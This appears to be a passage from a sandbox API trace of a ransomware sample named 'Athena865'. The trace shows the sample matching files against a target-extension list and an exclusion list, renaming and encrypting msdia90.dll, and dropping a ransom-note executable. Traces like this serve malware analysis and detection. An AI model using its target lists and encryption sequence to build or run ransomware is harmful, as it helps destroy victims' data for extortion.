lstrlenW (lpString="nsf") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0117.834] lstrlenW (lpString="nv") returned 2 [0117.834] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0117.834] lstrlenW (lpString="nv2") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0117.834] lstrlenW (lpString="nwdb") returned 4 [0117.834] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0117.834] lstrlenW (lpString="nyf") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0117.834] lstrlenW (lpString="odb") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0117.834] lstrlenW (lpString="odb") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0117.834] lstrlenW (lpString="oqy") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0117.834] lstrlenW (lpString="ora") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0117.834] lstrlenW (lpString="orx") returned 3 [0117.834] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0117.834] lstrlenW (lpString="owc") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0117.835] lstrlenW (lpString="p96") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0117.835] lstrlenW (lpString="p97") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0117.835] lstrlenW (lpString="pan") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0117.835] lstrlenW (lpString="pdb") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0117.835] lstrlenW (lpString="pdm") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0117.835] lstrlenW (lpString="pnz") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0117.835] lstrlenW (lpString="qry") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0117.835] lstrlenW (lpString="qvd") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0117.835] lstrlenW (lpString="rbf") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0117.835] lstrlenW (lpString="rctd") returned 4 [0117.835] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0117.835] lstrlenW (lpString="rod") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0117.835] lstrlenW (lpString="rodx") returned 4 [0117.835] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0117.835] lstrlenW (lpString="rpd") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0117.835] lstrlenW (lpString="rsd") returned 3 [0117.835] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0117.835] lstrlenW (lpString="sas7bdat") returned 8 [0117.836] lstrcmpiW (lpString1="ia90.dll", lpString2="sas7bdat") returned -1 [0117.836] lstrlenW (lpString="sbf") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0117.836] lstrlenW (lpString="scx") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0117.836] lstrlenW (lpString="sdb") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0117.836] lstrlenW (lpString="sdc") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0117.836] lstrlenW (lpString="sdf") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0117.836] lstrlenW (lpString="sis") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0117.836] lstrlenW (lpString="spq") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0117.836] lstrlenW (lpString="te") returned 2 [0117.836] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0117.836] lstrlenW (lpString="teacher") returned 7 [0117.836] lstrcmpiW (lpString1="a90.dll", lpString2="teacher") returned -1 [0117.836] lstrlenW (lpString="tmd") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0117.836] lstrlenW (lpString="tps") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0117.836] lstrlenW (lpString="trc") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.836] lstrlenW (lpString="trc") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0117.836] lstrlenW (lpString="trm") returned 3 [0117.836] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0117.836] lstrlenW (lpString="udb") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0117.837] lstrlenW (lpString="udl") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0117.837] lstrlenW (lpString="usr") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0117.837] lstrlenW (lpString="v12") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0117.837] lstrlenW (lpString="vis") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0117.837] lstrlenW (lpString="vpd") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0117.837] lstrlenW (lpString="vvv") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0117.837] lstrlenW (lpString="wdb") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0117.837] lstrlenW (lpString="wmdb") returned 4 [0117.837] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0117.837] lstrlenW (lpString="wrk") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0117.837] lstrlenW (lpString="xdb") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0117.837] lstrlenW (lpString="xld") returned 3 [0117.837] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0117.837] lstrlenW (lpString="xmlff") returned 5 [0117.837] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0117.837] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.Athena865") returned 71 [0117.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.athena865"), dwFlags=0x1) returned 1 [0117.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.842] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=855376) returned 1 [0117.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ebb0 [0117.842] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ec38) returned 1 [0117.843] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.843] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.843] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd1050, lpName=0x0) returned 0x154 [0117.846] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd1050) returned 0x2d50000 [0117.894] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ec38) returned 1 [0117.894] CryptGenRandom (in: hProv=0x54ec38, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.895] CryptReleaseContext (hProv=0x54ec38, dwFlags=0x0) returned 1 [0117.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.895] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0117.903] CloseHandle (hObject=0x154) returned 1 [0117.903] CloseHandle (hObject=0x17c) returned 1 [0117.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ebb0 | out: hHeap=0x4f0000) returned 1 [0117.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.907] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0117.907] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.907] ReleaseMutex (hMutex=0xec) returned 1 [0117.907] CloseHandle (hObject=0xec) returned 1 [0117.907] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" [0117.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eeb0 | out: hHeap=0x4f0000) returned 1 [0117.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aee8 | out: hHeap=0x4f0000) returned 1 [0117.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned 50 [0117.907] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F9351FE55BACBF08635583D1BC36071D") returned 0xec [0117.907] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.907] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" [0117.907] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.907] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.908] GetLastError () returned 0x0 [0117.908] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.908] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.909] CloseHandle (hObject=0xf4) returned 1 [0117.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.909] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.909] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.910] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.910] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.910] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.910] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.910] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.910] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.910] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.910] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.910] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2=".") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="..") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="windows") returned -1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="bootmgr") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="temp") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="pagefile.sys") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="boot") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="ids.txt") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="ntuser.dat") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="perflogs") returned 1 [0117.910] lstrcmpiW (lpString1="VGX.dll", lpString2="MSBuild") returned 1 [0117.910] lstrlenW (lpString="VGX.dll") returned 7 [0117.910] lstrcpyW (in: lpString1=0x241e8ae, lpString2="VGX.dll" | out: lpString1="VGX.dll") returned="VGX.dll" [0117.910] lstrlenW (lpString="VGX.dll") returned 7 [0117.910] lstrlenW (lpString="Athena865") returned 9 [0117.911] lstrlenW (lpString=".dll") returned 4 [0117.911] lstrcmpiW (lpString1="VGX.dll", lpString2=".dll") returned 1 [0117.911] lstrlenW (lpString=".lnk") returned 4 [0117.911] lstrcmpiW (lpString1="VGX.dll", lpString2=".lnk") returned 1 [0117.911] lstrlenW (lpString=".ini") returned 4 [0117.911] lstrcmpiW (lpString1="VGX.dll", lpString2=".ini") returned 1 [0117.911] lstrlenW (lpString=".sys") returned 4 [0117.911] lstrcmpiW (lpString1="VGX.dll", lpString2=".sys") returned 1 [0117.911] lstrlenW (lpString="VGX.dll") returned 7 [0117.911] lstrlenW (lpString="bak") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0117.911] lstrlenW (lpString="ba_") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0117.911] lstrlenW (lpString="dbb") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0117.911] lstrlenW (lpString="vmdk") returned 4 [0117.911] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0117.911] lstrlenW (lpString="rar") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0117.911] lstrlenW (lpString="zip") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0117.911] lstrlenW (lpString="tgz") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0117.911] lstrlenW (lpString="vbox") returned 4 [0117.911] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0117.911] lstrlenW (lpString="vdi") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0117.911] lstrlenW (lpString="vhd") returned 3 [0117.911] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0117.912] lstrlenW (lpString="vhdx") returned 4 [0117.912] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0117.912] lstrlenW (lpString="avhd") returned 4 [0117.912] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0117.912] lstrlenW (lpString="db") returned 2 [0117.912] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0117.912] lstrlenW (lpString="db2") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0117.912] lstrlenW (lpString="db3") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0117.912] lstrlenW (lpString="dbf") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0117.912] lstrlenW (lpString="mdf") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0117.912] lstrlenW (lpString="mdb") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0117.912] lstrlenW (lpString="sql") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0117.912] lstrlenW (lpString="sqlite") returned 6 [0117.912] lstrcmpiW (lpString1="GX.dll", lpString2="sqlite") returned -1 [0117.912] lstrlenW (lpString="sqlite3") returned 7 [0117.912] lstrlenW (lpString="sqlitedb") returned 8 [0117.912] lstrlenW (lpString="xml") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0117.912] lstrlenW (lpString="$er") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0117.912] lstrlenW (lpString="4dd") returned 3 [0117.912] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0117.913] lstrlenW (lpString="4dl") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0117.913] lstrlenW (lpString="^^^") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0117.913] lstrlenW (lpString="abs") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0117.913] lstrlenW (lpString="abx") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0117.913] lstrlenW (lpString="accdb") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accdb") returned 1 [0117.913] lstrlenW (lpString="accdc") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accdc") returned 1 [0117.913] lstrlenW (lpString="accde") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accde") returned 1 [0117.913] lstrlenW (lpString="accdr") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accdr") returned 1 [0117.913] lstrlenW (lpString="accdt") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accdt") returned 1 [0117.913] lstrlenW (lpString="accdw") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accdw") returned 1 [0117.913] lstrlenW (lpString="accft") returned 5 [0117.913] lstrcmpiW (lpString1="X.dll", lpString2="accft") returned 1 [0117.913] lstrlenW (lpString="adb") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.913] lstrlenW (lpString="adb") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.913] lstrlenW (lpString="ade") returned 3 [0117.913] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0117.913] lstrlenW (lpString="adf") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0117.914] lstrlenW (lpString="adn") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0117.914] lstrlenW (lpString="adp") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0117.914] lstrlenW (lpString="alf") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0117.914] lstrlenW (lpString="ask") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0117.914] lstrlenW (lpString="btr") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0117.914] lstrlenW (lpString="cat") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0117.914] lstrlenW (lpString="cdb") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0117.914] lstrlenW (lpString="ckp") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0117.914] lstrlenW (lpString="cma") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0117.914] lstrlenW (lpString="cpd") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0117.914] lstrlenW (lpString="dacpac") returned 6 [0117.914] lstrcmpiW (lpString1="GX.dll", lpString2="dacpac") returned 1 [0117.914] lstrlenW (lpString="dad") returned 3 [0117.914] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0117.914] lstrlenW (lpString="dadiagrams") returned 10 [0117.914] lstrlenW (lpString="daschema") returned 8 [0117.914] lstrlenW (lpString="db-journal") returned 10 [0117.915] lstrlenW (lpString="db-shm") returned 6 [0117.915] lstrcmpiW (lpString1="GX.dll", lpString2="db-shm") returned 1 [0117.915] lstrlenW (lpString="db-wal") returned 6 [0117.915] lstrcmpiW (lpString1="GX.dll", lpString2="db-wal") returned 1 [0117.915] lstrlenW (lpString="dbc") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0117.915] lstrlenW (lpString="dbs") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0117.915] lstrlenW (lpString="dbt") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0117.915] lstrlenW (lpString="dbv") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0117.915] lstrlenW (lpString="dbx") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0117.915] lstrlenW (lpString="dcb") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0117.915] lstrlenW (lpString="dct") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0117.915] lstrlenW (lpString="dcx") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0117.915] lstrlenW (lpString="ddl") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0117.915] lstrlenW (lpString="dlis") returned 4 [0117.915] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0117.915] lstrlenW (lpString="dp1") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0117.915] lstrlenW (lpString="dqy") returned 3 [0117.915] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0117.915] lstrlenW (lpString="dsk") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0117.916] lstrlenW (lpString="dsn") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0117.916] lstrlenW (lpString="dtsx") returned 4 [0117.916] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0117.916] lstrlenW (lpString="dxl") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0117.916] lstrlenW (lpString="eco") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0117.916] lstrlenW (lpString="ecx") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0117.916] lstrlenW (lpString="edb") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0117.916] lstrlenW (lpString="epim") returned 4 [0117.916] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0117.916] lstrlenW (lpString="fcd") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0117.916] lstrlenW (lpString="fdb") returned 3 [0117.916] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0117.916] lstrlenW (lpString="fic") returned 3 